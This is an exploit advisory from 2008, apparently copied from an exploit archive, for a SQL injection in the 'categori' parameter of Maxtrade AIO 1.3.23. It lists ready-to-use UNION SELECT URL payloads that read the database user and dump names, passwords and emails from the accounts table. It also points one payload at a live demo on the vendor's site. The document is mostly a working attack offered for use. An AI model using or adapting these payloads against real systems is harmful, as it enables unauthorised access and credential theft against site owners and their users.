[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Maxtrade AIO 1.3.23 (categori) Remote SQL Injection Vulnerability
# Published : 2008-06-18
# Author : HaCkeR_EgY
# Previous Title : E-SMART CART (productsofcat.asp) Remote SQL Injection Vulnerability
# Next Title : Mybizz-Classifieds (index.php cat) SQL Injection Vulnerability
##########################################################
############# Remote SQL Injection Maxtrade AIO 1.3.23 ... ##############
## HaCker_Egy
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script : Maxtrade
# Version : 1.3.23
# Download : http://softdivision.com
===============================================
# Exploit :
==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/*
==>> www.target.com//modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+concat_ws(0x3a3a,name,password,email),2+from+accounts/*
# live Demo :
==>> http://softdivision.com/maxtradedemo/modules.php?module=trade&function=pocategorisell&cat=0&stranica=menu&categori=-1+union+select+current_user,2/*
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , Mohamed el arab , stack
=================================================================
# www.Syue.com [2008-06-18]